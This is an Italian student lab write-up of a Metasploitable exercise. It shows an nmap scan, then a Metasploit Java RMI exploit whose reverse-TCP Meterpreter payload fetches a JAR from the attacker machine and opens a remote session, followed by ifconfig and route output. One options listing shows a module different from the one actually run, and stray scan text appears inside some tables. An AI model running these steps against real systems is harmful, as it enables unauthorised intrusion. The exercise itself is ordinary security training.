



# CYBER SECURITY & ETHICAL HACKING

AGUGLIA ANDREA

COMPITO S7-L5

```
(kali㉿kali)-[~]
$ nmap -sV 192.168.50.101
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-26 03:32 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --sys
--dns-servers
Nmap scan report for 192.168.50.101
Host is up (0.0023s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login?      Netkit rshd
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi   GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13      Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE:
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.53 seconds
```

# COSÈ NMAP?

Nmap, acronimo di "Network Mapper", è uno strumento open-source per la scansione di reti e il rilevamento di dispositivi all'interno di una rete, nonché per l'analisi dei servizi che tali dispositivi offrono. È ampiamente utilizzato dagli amministratori di sistema, dagli esperti di sicurezza informatica e dagli hacker etici per eseguire diverse attività di scansione e di analisi delle reti.

Alcune delle principali funzionalità di Nmap includono:

1. Scansione di Porte.
2. Rilevamento di Servizi.
3. Rilevamento di Sistemi Operativi.
4. Scansione di Vulnerabilità.

## Comandi usati:

1. nmap -sV 192.168.50.101

# MSFCONSOLE

```
msf6 > search java rmi
[+] Reverse DNS is disabled. Try using --system-dns or specify valid servers with
Matching Modules
-----

| #  | Name                                                            | Disclosure Date | Rank      | Check | Description                                                                                    |
|----|-----------------------------------------------------------------|-----------------|-----------|-------|------------------------------------------------------------------------------------------------|
| 0  | exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce | 2019-05-22      | excellent | Yes   | Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE                                   |
| 1  | exploit/multi/misc/java_jmx_server                              | 2013-05-22      | excellent | Yes   | Java JMX Server Insecure Configuration Java Code Execution                                     |
| 2  | auxiliary/scanner/misc/java_jmx_server                          | 2013-05-22      | normal    | No    | Java JMX Server Insecure Endpoint Code Execution Scanner                                       |
| 3  | auxiliary/gather/java_rmi_registry                              |                 | normal    | No    | Java RMI Registry Interface Enumeration                                                        |
| 4  | exploit/multi/misc/java_rmi_server                              | 2011-10-15      | excellent | Yes   | Java RMI Server Insecure Default Configuration Java Code Execution                             |
| 5  | auxiliary/scanner/misc/java_rmi_server                          | 2011-10-15      | normal    | No    | Java RMI Server Insecure Endpoint Code Execution Scanner                                       |
| 6  | exploit/multi/browser/java_rmi_connection_impl                  | 2010-03-31      | excellent | No    | Java RMIConnectionImpl Deserialization Privilege Escalation                                    |
| 7  | exploit/multi/browser/java_signed_applet                        | 1997-02-19      | excellent | No    | Java Signed Applet Social Engineering Code Execution                                           |
| 8  | exploit/multi/http/jenkins_metaprogramming                      | 2019-01-08      | excellent | Yes   | Jenkins ACL Bypass and Metaprogramming RCE                                                     |
| 9  | exploit/linux/misc/jenkins_java_deserialize                     | 2015-11-18      | excellent | Yes   | Jenkins CLI RMI Java Deserialization Vulnerability                                             |
| 10 | exploit/linux/http/kibana_timelion_prototype_pollution_rce      | 2019-10-30      | manual    | Yes   | Kibana Timelion Prototype Pollution RCE                                                        |
| 11 | exploit/multi/browser/firefox_xpi_bootstrappedAddon             | 2007-06-27      | excellent | No    | Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution cpe:/o:linux:linux_kernel |
| 12 | exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315      | 2023-05-26      | excellent | Yes   | Openfire authentication bypass with RCE plugin //nmap.org/submit/ .                            |
| 13 | exploit/multi/http/torchserver_cve_2023_43654                   | 2023-10-03      | excellent | Yes   | PyTorch Model Server Registration and Deserialization RCE                                      |
| 14 | exploit/multi/http/totaljs_cms_widget_exec                      | 2019-08-30      | excellent | Yes   | Total.js CMS 12 Widget JavaScript Code Injection                                               |
| 15 | exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc          | 2021-09-21      | manual    | Yes   | VMware vCenter vScalation Priv Esc                                                             |



Interact with a module by name or index. For example info 15, use 15 or use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc


```

Dopo aver aperto un terminale su Kali Linux e avviato msfconsole, abbiamo proceduto con la ricerca della porta 1099 (Java RMI). Grazie a questo comando, msfconsole ci ha restituito una lista di moduli. I moduli sono componenti software all'interno del framework che eseguono operazioni specifiche. Questi moduli possono essere classificati in diverse categorie, tra cui exploit modules, payload modules e auxiliary modules. Gli "exploit modules" sono progettati per sfruttare specifiche vulnerabilità nel software di destinazione. "Payload modules" definiscono ciò che accade una volta che l'exploit ha successo, mentre gli "auxiliary modules" forniscono funzionalità di supporto, come la scansione e la raccolta di informazioni. Per determinare quale modulo utilizzare, ho eseguito una serie di test su ciascuno di essi. Questo approccio mi ha permesso di valutare l'efficacia di ciascun modulo in relazione alla vulnerabilità della porta 1099. Attraverso questo processo, ho potuto identificare il modulo più adatto per sfruttare con successo la vulnerabilità Java RMI sulla porta 1099.

## Comandi usati:

1. search java rmi
2. use exploit/multi/misc/java\_rmi\_server

# SHOW OPTIONS

```
msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > show options
[*] Group: WORKGROUP
Module options (exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce):
Name      Current Setting  Required  Description
---      ---           ---           ---
Proxies          no           no           A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS          yes          yes          The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT          8095         yes          The target port (TCP)
SSL             false        no           Negotiate SSL/TLS for outgoing connections
TARGETURI       /crowd/     yes          The base URI to Atlassian Crowd
VHOST           /crowd/     no           HTTP server virtual host

Payload options (java/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
---      ---           ---           ---
LHOST          192.168.50.100  yes          The listen address (an interface may be specified)
LPORT          4444         yes          The listen port

Exploit target:
Id  Name
--  --
0   Java Universal

View the full module info with the info, or info -d command.
```

Show options è utilizzato per visualizzare e modificare le opzioni disponibili per un modulo specifico. Questo comando è particolarmente utile quando si lavora con moduli come exploit o payload, poiché ci consente di vedere quali parametri possono essere configurati prima di eseguire l'azione.

## Comandi usati:

1. show options

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.101:1099 - Using URL: http://192.168.50.100:8080/0tAMMNWxsX
[*] 192.168.50.101:1099 - Server started.
[*] 192.168.50.101:1099 - Sending RMI Header ...
[*] 192.168.50.101:1099 - Sending RMI Call ...
[*] 192.168.50.101:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.50.101
[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.101:42303) at 2024-01-26 03:46:08 -0500
```

# SET

Dopo aver correttamente configurato il modulo appropriato, abbiamo proceduto con l'impostazione del parametro RHOSTS relativo alla macchina bersaglio (192.168.50.101). Una volta definito l'indirizzo IP, abbiamo eseguito il comando Exploit per avviare il processo di penetrazione nella macchina vittima.

## Comandi usati:

- 1.set RHOSTS 192.168.50.101
- 2.exploit

# IFCONFIG - ROUTE

Ifconfig: Questo comando viene utilizzato per visualizzare e configurare le interfacce di rete su un sistema. Fornisce informazioni dettagliate sulle interfacce di rete attive, come indirizzo IP, indirizzo MAC, stato dell'interfaccia e altro. In un contesto di Metasploit o di test di penetrazione, ifconfig potrebbe essere utilizzato per ottenere informazioni sulle interfacce di rete disponibili sulla macchina di attacco o sulla macchina bersaglio.

**Route:** Questo comando è utilizzato per visualizzare e manipolare la tabella di routing del sistema operativo. La tabella di routing determina il percorso che i pacchetti di dati devono seguire per raggiungere una destinazione specifica. In contesti di sicurezza informatica, conoscere e manipolare la tabella di routing può essere utile per indirizzare il traffico attraverso specifiche interfacce di rete o per aggiungere percorsi personalizzati.

Entrambi i comandi sono strumenti utili durante le fasi di test di penetrazione, inclusi quelli eseguiti con Metasploit, poiché forniscono informazioni fondamentali sulla configurazione di rete della macchina bersaglio o dell'attaccante.

```
meterpreter > ifconfig
Workgroup: WORKGROUP
Workgroup: WORKGROUP
Interface 1
=====
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

3.7
Interface 2
=====
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.50.101
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe34:8019
IPv6 Netmask : ::
```

```
meterpreter > route  
  
IPv4 network routes  
=====
```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.50.101	255.255.255.0	0.0.0.0		

  

```
IPv6 network routes  
=====
```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe34:8019	::	::		

# METERPRETER

---

Meterpreter è un framework open-source sviluppato all'interno del progetto Metasploit, che è un popolare strumento di test della sicurezza e penetration testing. Metasploit fornisce una piattaforma per sviluppare, testare e eseguire exploit su una vasta gamma di sistemi e applicazioni.

Meterpreter è progettato per essere un payload flessibile e potente che può essere utilizzato per sfruttare vulnerabilità nei sistemi target. Una volta che un sistema è compromesso, Meterpreter consente a un attaccante di eseguire una serie di comandi sul sistema bersaglio in modo remoto, attraverso una connessione crittografata. Questi comandi possono includere l'esecuzione di programmi, l'intercettazione di dati, il controllo dei sistemi file, la cattura di schermate, l'accesso alla webcam, e molte altre attività.

# INFORMAZIONI

---

## Cos'è Metasploit

Metasploit è un framework di penetration testing open source ampiamente utilizzato per lo sviluppo, il test e l'esecuzione di exploit su sistemi informatici. È progettato per essere uno strumento versatile per gli esperti di sicurezza informatica, i ricercatori di vulnerabilità e i penetration tester.

## Cos'è un exploit

Un exploit è un tipo di software, codice o sequenza di comandi progettato per sfruttare una specifica vulnerabilità di sicurezza o debolezza in un sistema, applicazione o dispositivo. Gli exploit sono spesso utilizzati da hacker, ricercatori di sicurezza e penetration tester per sfruttare falle di sicurezza al fine di ottenere un accesso non autorizzato al sistema o eseguire azioni dannose.

## Differenza tra Exploit e Malware

Un exploit si concentra sulla sfruttamento di vulnerabilità specifiche, il malware è un termine più ampio che copre qualsiasi software dannoso. Un exploit può essere incorporato all'interno di un malware, ma non tutti i malware si basano su exploit specifici per diffondersi o danneggiare i sistemi.